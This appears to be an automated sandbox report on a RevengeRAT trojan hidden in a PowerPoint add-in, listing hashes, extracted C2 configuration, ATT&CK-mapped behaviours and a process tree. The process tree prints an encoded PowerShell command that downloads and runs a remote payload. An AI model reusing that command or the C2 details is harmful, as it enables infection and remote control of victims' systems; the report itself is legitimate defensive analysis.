revengerat | dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044

General

Target

Solicitacao n 3422022.ppam
Size

21KB
MD5

0fa350aeda0300d702cbffe77bdf26e1
SHA1

3b9a66fd26bfd26cff53e222744b382da0735c74
SHA256

dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044
SHA512

d4514a79d24d5b165f0588cfa370a92e6d781add023878b515248c453153e26b9e701b2d5b7a1e02976783ba5925a0fd353d25ab8510419c4b6b30df2858e0d1
SSDEEP

384:dXP27u0zBE0RZ+T9cx/7tsZKhNVqo6JV5ZjXDcd42nS5wYFjg1zTeQcxUwPMyvxh:VP2r60L+BS6ZkHqxJZkd42Sr9g1Xed0k

Score

10^/10

revengerat nyancatrevenge trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	1764	3248	powershell.exe	POWERPNT.EXE

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

75 1764 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1764 set thread context of 372 1764 powershell.exe RegSvcs.exe

flow	pid	process
75	1764	powershell.exe

description	pid	process	target process
PID 1764 set thread context of 372	1764	powershell.exe	RegSvcs.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXERegSvcs.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	RegSvcs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

3248 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1764 powershell.exe
1764 powershell.exe
1764 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1764 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

POWERPNT.EXE

pid process

3248 POWERPNT.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

POWERPNT.EXE

pid process

3248 POWERPNT.EXE
3248 POWERPNT.EXE
3248 POWERPNT.EXE

pid	process
3248	POWERPNT.EXE

pid	process
1764	powershell.exe
1764	powershell.exe
1764	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1764	powershell.exe

pid	process
3248	POWERPNT.EXE

pid	process
3248	POWERPNT.EXE
3248	POWERPNT.EXE
3248	POWERPNT.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

POWERPNT.EXEpowershell.exe

description	pid	process	target process
PID 3248 wrote to memory of 1764	3248	POWERPNT.EXE	powershell.exe
PID 3248 wrote to memory of 1764	3248	POWERPNT.EXE	powershell.exe
PID 1764 wrote to memory of 372	1764	powershell.exe	RegSvcs.exe
PID 1764 wrote to memory of 372	1764	powershell.exe	RegSvcs.exe
PID 1764 wrote to memory of 372	1764	powershell.exe	RegSvcs.exe
PID 1764 wrote to memory of 372	1764	powershell.exe	RegSvcs.exe
PID 1764 wrote to memory of 372	1764	powershell.exe	RegSvcs.exe
PID 1764 wrote to memory of 372	1764	powershell.exe	RegSvcs.exe
PID 1764 wrote to memory of 372	1764	powershell.exe	RegSvcs.exe
PID 1764 wrote to memory of 372	1764	powershell.exe	RegSvcs.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Solicitacao n 3422022.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBBAHUAawB3AFoARABlAGsAawBXAHAAZABmAG8AdABmAEkASQBaAFQARwBrAEgAYwBOAEgATAB1AEEAdABVAGUAQwBOAGQASABPAFYATgBBAA0ACgA=""
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1764

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Checks processor information in registry
PID:372

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4072 --field-trial-handle=2744,i,16362475727591565961,3676688664819797550,262144 --variations-seed-version /prefetch:8
1⤵
PID:2916

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s3rvzajq.gv0.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/372-117-0x0000000005520000-0x0000000005530000-memory.dmp

Filesize
64KB

Download
memory/372-116-0x0000000074870000-0x0000000075020000-memory.dmp

Filesize
7.7MB

Download
memory/372-115-0x0000000005AB0000-0x0000000005B16000-memory.dmp

Filesize
408KB

Download
memory/372-114-0x00000000060E0000-0x000000000617C000-memory.dmp

Filesize
624KB

Download
memory/372-113-0x0000000005520000-0x0000000005530000-memory.dmp

Filesize
64KB

Download
memory/372-99-0x0000000005B30000-0x00000000060D4000-memory.dmp

Filesize
5.6MB

Download
memory/372-97-0x0000000074870000-0x0000000075020000-memory.dmp

Filesize
7.7MB

Download
memory/372-92-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/1764-91-0x0000026C6A3D0000-0x0000026C6A3D1000-memory.dmp

Filesize
4KB

Download
memory/1764-64-0x0000026C6A310000-0x0000026C6A332000-memory.dmp

Filesize
136KB

Download
memory/1764-95-0x00007FF820AE0000-0x00007FF8215A1000-memory.dmp

Filesize
10.8MB

Download
memory/1764-90-0x0000026C6A3B0000-0x0000026C6A3C8000-memory.dmp

Filesize
96KB

Download
memory/1764-88-0x0000026C6A3B0000-0x0000026C6A3C8000-memory.dmp

Filesize
96KB

Download
memory/1764-86-0x0000026C6A3B0000-0x0000026C6A3C8000-memory.dmp

Filesize
96KB

Download
memory/1764-84-0x0000026C6A3B0000-0x0000026C6A3C8000-memory.dmp

Filesize
96KB

Download
memory/1764-82-0x0000026C6A3B0000-0x0000026C6A3C8000-memory.dmp

Filesize
96KB

Download
memory/1764-80-0x0000026C6A3B0000-0x0000026C6A3C8000-memory.dmp

Filesize
96KB

Download
memory/1764-79-0x0000026C6A3B0000-0x0000026C6A3C8000-memory.dmp

Filesize
96KB

Download
memory/1764-78-0x0000026C6A3B0000-0x0000026C6A3D0000-memory.dmp

Filesize
128KB

Download
memory/1764-77-0x0000026C6A430000-0x0000026C6A440000-memory.dmp

Filesize
64KB

Download
memory/1764-76-0x0000026C6A430000-0x0000026C6A440000-memory.dmp

Filesize
64KB

Download
memory/1764-75-0x0000026C6A430000-0x0000026C6A440000-memory.dmp

Filesize
64KB

Download
memory/1764-74-0x00007FF820AE0000-0x00007FF8215A1000-memory.dmp

Filesize
10.8MB

Download
memory/3248-56-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-0-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

Filesize
64KB

Download
memory/3248-60-0x000001CF8D250000-0x000001CF8E220000-memory.dmp

Filesize
15.8MB

Download
memory/3248-58-0x000001CF8F680000-0x000001CF8F880000-memory.dmp

Filesize
2.0MB

Download
memory/3248-9-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-57-0x000001CF8D250000-0x000001CF8E220000-memory.dmp

Filesize
15.8MB

Download
memory/3248-10-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-55-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-54-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-53-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-52-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-51-0x000001CF8D250000-0x000001CF8E220000-memory.dmp

Filesize
15.8MB

Download
memory/3248-50-0x000001CF8D250000-0x000001CF8E220000-memory.dmp

Filesize
15.8MB

Download
memory/3248-32-0x000001CF8F680000-0x000001CF8F880000-memory.dmp

Filesize
2.0MB

Download
memory/3248-28-0x000001CF8D250000-0x000001CF8E220000-memory.dmp

Filesize
15.8MB

Download
memory/3248-13-0x00007FF80B8D0000-0x00007FF80B8E0000-memory.dmp

Filesize
64KB

Download
memory/3248-12-0x00007FF80B8D0000-0x00007FF80B8E0000-memory.dmp

Filesize
64KB

Download
memory/3248-59-0x000001CF8D250000-0x000001CF8E220000-memory.dmp

Filesize
15.8MB

Download
memory/3248-8-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-11-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-7-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

Filesize
64KB

Download
memory/3248-6-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-105-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

Filesize
64KB

Download
memory/3248-106-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

Filesize
64KB

Download
memory/3248-107-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

Filesize
64KB

Download
memory/3248-109-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-108-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

Filesize
64KB

Download
memory/3248-110-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-111-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-112-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-5-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

Filesize
64KB

Download
memory/3248-3-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

Filesize
64KB

Download
memory/3248-4-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-2-0x00007FF84DBB0000-0x00007FF84DDA5000-memory.dmp

Filesize
2.0MB

Download
memory/3248-1-0x00007FF80DC30000-0x00007FF80DC40000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads